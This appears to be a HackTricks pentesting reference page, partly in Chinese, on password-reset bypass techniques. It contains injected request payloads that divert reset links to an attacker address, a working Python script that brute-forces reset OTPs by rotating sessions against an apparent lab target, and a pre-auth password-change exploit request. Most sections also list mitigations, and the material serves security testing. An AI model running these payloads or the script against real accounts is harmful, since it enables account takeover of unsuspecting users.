Reset/Forgotten Password Bypass

Reading time: 11 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

Password Reset Token Leak Via Referrer

  • The HTTP referer header may leak the password reset token if it's included in the URL. This can occur when a user clicks on a third-party website link after requesting a password reset.
  • Impact:可能通过 Cross-Site Request Forgery (CSRF) 攻击导致账户接管。
  • Exploitation:要检查密码重置令牌是否正在在 referer header 中 leaking,向你的邮箱请求密码重置并点击提供的重置链接。不要立即更改你的密码。相反,在使用 Burp Suite 拦截请求 的同时,访问第三方网站(例如 Facebook 或 Twitter)。检查请求,查看 referer header 是否包含密码重置令牌,因为这可能会将敏感信息暴露给第三方。
  • References
  • HackerOne Report 342693
  • HackerOne Report 272379
  • Password Reset Token Leak Article

Password Reset Poisoning

  • 攻击者可能会在密码重置请求期间操纵 Host header,使重置链接指向恶意站点。
  • Impact:这可能导致账户接管,因重置令牌被 leaking 给攻击者。
  • Mitigation Steps
  • 验证 Host header 是否在允许域名的白名单中。
  • 使用安全的服务器端方法生成绝对 URL。
  • Patch:使用 $_SERVER['SERVER_NAME'] 来构建密码重置 URL,而不是 $_SERVER['HTTP_HOST']
  • References
  • Acunetix Article on Password Reset Poisoning

Password Reset By Manipulating Email Parameter

Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.

  • 添加攻击者邮箱作为第二个参数,使用 &
php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
  • 将 attacker email 添加为第二个参数,使用 %20
php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
  • 将 attacker email 作为第二个参数,使用 | 分隔
php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
  • 添加攻击者邮箱作为第二个参数,使用 cc
php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"

将 attacker 邮箱作为第二个参数,通过 bcc 添加。

php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
  • 添加攻击者邮箱作为第二个参数,使用 ,
php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
  • 将攻击者邮箱作为 json array 的第二个参数添加
php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}

通过 API 参数更改任意用户的 email 和 password

  • 攻击者可以在 API 请求中修改 email 和 password 参数以更改账户凭证。
php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})

No Rate Limiting: Email Bombing

  • Lack of rate limiting on password reset requests can lead to email bombing, overwhelming the user with reset emails.
  • 缓解措施:
  • Implement rate limiting based on IP address or user account.
  • Use CAPTCHA challenges to prevent automated abuse.
  • References:
  • HackerOne Report 280534

Find out How Password Reset Token is Generated

  • Understanding the pattern or method behind token generation can lead to predicting or brute-forcing tokens. Some options:
  • Based Timestamp
  • Based on the UserID
  • Based on email of User
  • Based on Firstname and Lastname
  • Based on Date of Birth
  • Based on Cryptography
  • 缓解措施:
  • Use strong, cryptographic methods for token generation.
  • Ensure sufficient randomness and length to prevent predictability.
  • Tools: Use Burp Sequencer to analyze the randomness of tokens.

Guessable UUID

  • If UUIDs (version 1) are guessable or predictable, attackers may brute-force them to generate valid reset tokens. Check:

UUID Insecurities

  • 缓解措施:
  • Use GUID version 4 for randomness or implement additional security measures for other versions.
  • Tools: Use guidtool for analyzing and generating GUIDs.

Response Manipulation: Replace Bad Response With Good One

  • Manipulating HTTP responses to bypass error messages or restrictions.
  • 缓解措施:
  • Implement server-side checks to ensure response integrity.
  • Use secure communication channels like HTTPS to prevent man-in-the-middle attacks.
  • Reference:
  • Critical Bug in Live Bug Bounty Event

Using Expired Token

  • Testing whether expired tokens can still be used for password reset.
  • 缓解措施:
  • Implement strict token expiration policies and validate token expiry server-side.

Brute Force Password Reset Token

  • Attempting to brute-force the reset token using tools like Burpsuite and IP-Rotator to bypass IP-based rate limits.
  • 缓解措施:
  • Implement robust rate-limiting and account lockout mechanisms.
  • Monitor for suspicious activities indicative of brute-force attacks.

Try Using Your Token

  • Testing if an attacker's reset token can be used in conjunction with the victim's email.
  • 缓解措施:
  • Ensure that tokens are bound to the user session or other user-specific attributes.

Session Invalidation in Logout/Password Reset

  • Ensuring that sessions are invalidated when a user logs out or resets their password.
  • 缓解措施:
  • Implement proper session management, ensuring that all sessions are invalidated upon logout or password reset.

Session Invalidation in Logout/Password Reset

  • Reset tokens should have an expiration time after which they become invalid.
  • 缓解措施:
  • Set a reasonable expiration time for reset tokens and strictly enforce it server-side.

OTP rate limit bypass by changing your session

  • If the website is using user session to track wrong OTP attempts and the OTP was weak ( <= 4 digits) then we can effectively bruteforce the OTP.
  • exploitation:
  • just request a new session token after getting blocked by the server.
  • Example code that exploits this bug by randomly guessing the OTP (when you change the session the OTP will change as well, and so we will not be able to sequentially bruteforce it!):
python
# Authentication bypass by password reset
# by coderMohammed
import requests
import random
from time import sleep

headers = {
"User-Agent": "Mozilla/5.0 (iPhone14,3; U; CPU iPhone OS 15_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/19A346 Safari/602.1",
"Cookie": "PHPSESSID=mrerfjsol4t2ags5ihvvb632ea"
}
url = "http://10.10.12.231:1337/reset_password.php"
logout = "http://10.10.12.231:1337/logout.php"
root = "http://10.10.12.231:1337/"

parms = dict()
ter = 0
phpsessid = ""

print("[+] Starting attack!")
sleep(3)
print("[+] This might take around 5 minutes to finish!")

try:
while True:
parms["recovery_code"] = f"{random.randint(0, 9999):04}" # random number from 0 - 9999 with 4 d
parms["s"] = 164 # not important it only efects the frontend
res = requests.post(url, data=parms, allow_redirects=True, verify=False, headers=headers)

if ter == 8: # follow number of trails
out = requests.get(logout,headers=headers) # log u out
mainp = requests.get(root) # gets another phpssid (token)

cookies = out.cookies # extract the sessionid
phpsessid = cookies.get('PHPSESSID')
headers["cookies"]=f"PHPSESSID={phpsessid}" #update the headers with new session

reset = requests.post(url, data={"email":"tester@hammer.thm"}, allow_redirects=True, verify=False, headers=headers) # sends the email to change the password for
ter = 0 # reset ter so we get a new session after 8 trails
else:
ter += 1
if(len(res.text) == 2292): # this is the length of the page when u get the recovery code correctly (got by testing)
print(len(res.text)) # for debug info
print(phpsessid)

reset_data = { # here we will change the password to somthing new
"new_password": "D37djkamd!",
"confirm_password": "D37djkamd!"
}
reset2 = requests.post(url, data=reset_data, allow_redirects=True, verify=False, headers=headers)

print("[+] Password has been changed to:D37djkamd!")
break
except Exception as e:
print("[+] Attck stopped")

Arbitrary password reset via skipOldPwdCheck (pre-auth)

Some implementations expose a password change action that calls the password-change routine with skipOldPwdCheck=true and does not verify any reset token or ownership. If the endpoint accepts an action parameter like change_password and a username/new password in the request body, an attacker can reset arbitrary accounts pre-auth.

Vulnerable pattern (PHP):

php
// hub/rpwd.php
RequestHandler::validateCSRFToken();
$RP = new RecoverPwd();
$RP->process($_REQUEST, $_POST);

// modules/Users/RecoverPwd.php
if ($request['action'] == 'change_password') {
$body = $this->displayChangePwd($smarty, $post['user_name'], $post['confirm_new_password']);
}

public function displayChangePwd($smarty, $username, $newpwd) {
$current_user = CRMEntity::getInstance('Users');
$current_user->id = $current_user->retrieve_user_id($username);
// ... criteria checks omitted ...
$current_user->change_password('oldpwd', $_POST['confirm_new_password'], true, true); // skipOldPwdCheck=true
emptyUserAuthtokenKey($this->user_auth_token_type, $current_user->id);
}

利用请求 (概念):

http
POST /hub/rpwd.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded

action=change_password&user_name=admin&confirm_new_password=NewP@ssw0rd!

缓解措施:

  • 在更改密码之前,始终要求有效的、具有时限的重置令牌(reset token),该令牌应绑定到账户和会话。
  • 不要向未认证的用户暴露 skipOldPwdCheck 路径;对常规的密码更改强制要求认证并验证旧密码。
  • 在密码更改后使所有活动会话和重置令牌失效。

参考资料

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks